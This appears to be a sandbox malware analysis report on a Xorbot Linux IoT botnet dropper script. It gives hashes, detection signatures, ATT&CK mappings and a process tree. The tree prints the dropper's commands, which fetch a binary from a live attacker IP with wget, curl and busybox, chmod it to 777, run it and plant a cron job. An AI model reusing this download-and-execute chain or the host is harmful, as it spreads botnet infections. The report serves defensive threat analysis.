xorbot | c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/12/2024, 03:17

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General

Target

bins.sh
Size

10KB
MD5

76cb499bf206bd1606439aa4cb42c17f
SHA1

583a6a1e14a9d811f2e3da46dc1ed703c58c0bc4
SHA256

c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab
SHA512

fcee5155d2be7d5569befd90710c34d50ae5b4c54a1c554e0fe0ed50e31e6c98fa6216e59a10a1eac872ef13523c987f9f780b67fc65201670fb33085cf27c24
SSDEEP

96:leZwAhF+MMvCSiZ1r3W5IW9phh0UwTCSiZ1Hj3uKap+8X7V9phh0UwweZwAhFjW0:leZwAhFJMs3W5I6seZwAhF6c

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2199) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1492	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419	1493	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419

Renames itself 1 IoCs

pid	Process
1494	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.vF4V5z	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/129/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/960/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1039/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1534/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1548/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1576/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/9/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/21/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1667/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1715/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1717/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1578/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1625/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1172/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1623/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1624/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1646/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1734/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/34/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/35/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/170/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/664/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1121/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1536/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1591/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1658/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/4/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/89/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/952/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1566/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1630/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1731/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/15/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/198/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1129/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1530/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1572/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1675/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/167/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/267/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/160/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/163/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1300/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1550/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1587/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/18/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/155/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/451/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/559/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1057/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1258/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1563/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1571/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/24/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/154/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1740/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1688/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1724/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1555/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1629/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1671/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1704/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/28/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
File opened for reading	/proc/1139/cmdline	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419	wget
File opened for modification	/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419	curl
File opened for modification	/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1475
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1476
- /usr/bin/wget
  wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - Writes file to tmp directory
  PID:1477
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/chmod
  chmod 777 zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - File and Directory Permissions Modification
  PID:1492
- /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  ./zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1493
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1495
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1496
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1497
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1498
- /bin/rm
  rm zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  PID:1501
- /usr/bin/wget
  wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
  2⤵
  PID:1504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.vF4V5z

Filesize
210B

MD5
36ec7ceb2c332b5a57b55f6a6a953960

SHA1
9fad94f002fb7711317e76d7e32c82762f9a652e

SHA256
4ce8508aabf7d31084ec6aaca1239d685f3b3084523ab62bf112fec42c82502c

SHA512
7c2bb813a88f1bd6d608beb17396c6089b384c7421c028202ab8b4f3e982d1f724458c5c270cc0d2ad31c699a276b299b5fcd54a1389fd14f92c6f18d488849d

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads